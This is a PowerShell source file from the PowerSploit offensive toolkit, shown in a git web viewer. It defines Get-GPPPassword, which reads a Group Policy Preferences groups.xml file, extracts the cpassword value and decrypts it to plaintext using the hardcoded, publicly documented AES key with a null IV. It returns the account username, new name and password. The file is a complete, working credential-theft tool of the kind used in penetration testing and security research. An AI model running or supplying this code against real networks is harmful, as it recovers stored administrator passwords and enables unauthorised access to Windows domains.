aboutsummaryrefslogtreecommitdiff
path: root/Recon/Get-GPPPassword.ps1
blob: b22fb746a8f384e87aab6a5bc24ed8707edfcd14 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
function Get-GPPPassword
{
<#
.SYNOPSIS

Retrieves the plaintext password for accounts pushed through Group Policy in groups.xml.

PowerSploit Function: Get-GPPPassword
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
 
.DESCRIPTION

Get-GPPPassword imports the encoded and encrypted password string from groups.xml and then decodes and decrypts the plaintext password.

.PARAMETER Path

The path to the targeted groups.xml file.

.EXAMPLE

Get-GPPPassword -path c:\demo\groups.xml

.LINK

http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
#>

    Param (
        [Parameter(Position = 0, Mandatory = $True)]
        [String]
        $Path = "$PWD\groups.xml"
    )

    #Function to pull encrypted password string from groups.xml
    function Parse-cPassword {
    
        try {
            [xml] $Xml = Get-Content ($Path)
            [String] $Cpassword = $Xml.Groups.User.Properties.cpassword
        } catch { Write-Error "No Password Policy Found in File!" } 
         
        return $Cpassword
    }
    
    #Function to look to see if the administrator account is given a newname
    function Parse-NewName {
    
        [xml] $Xml = Get-Content ($Path) 
        [String] $NewName = $Xml.Groups.User.Properties.newName
        
        return $NewName
    }
    
    #Function to parse out the Username whose password is being specified
    function Parse-UserName {
    
        try {
            [xml] $Xml = Get-Content ($Path) 
            [string] $UserName = $Xml.Groups.User.Properties.userName 
        } catch { Write-Error "No Username Specified in File!" }
        
        return $UserName
    }
    
    #Function that decodes and decrypts password
    function Decrypt-Password {
    
        try {
            #Append appropriate padding based on string length  
            $Pad = "=" * (4 - ($Cpassword.length % 4))
            $Base64Decoded = [Convert]::FromBase64String($Cpassword + $Pad)
            #Create a new AES .NET Crypto Object
            $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
            #Static Key from http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
            [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                                 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
            #Set IV to all nulls (thanks Matt) to prevent dynamic generation of IV value
            $AesIV = New-Object Byte[]($AesObject.IV.Length) 
            $AesObject.IV = $AesIV
            $AesObject.Key = $AesKey
            $DecryptorObject = $AesObject.CreateDecryptor() 
            [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
            
            return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
        } catch { Write-Error "Decryption Failed!" }
     
    }

    $Cpassword = Parse-cPassword 
    $Password = Decrypt-Password
    $NewName = Parse-NewName
    $UserName = Parse-UserName
    
    $Results = New-Object System.Object
    
    Add-Member -InputObject $Results -type NoteProperty -name UserName -value $UserName
    Add-Member -InputObject $Results -type NoteProperty -name NewName -value $NewName
    Add-Member -InputObject $Results -type NoteProperty -name Password -value $Password

    return $Results
 
}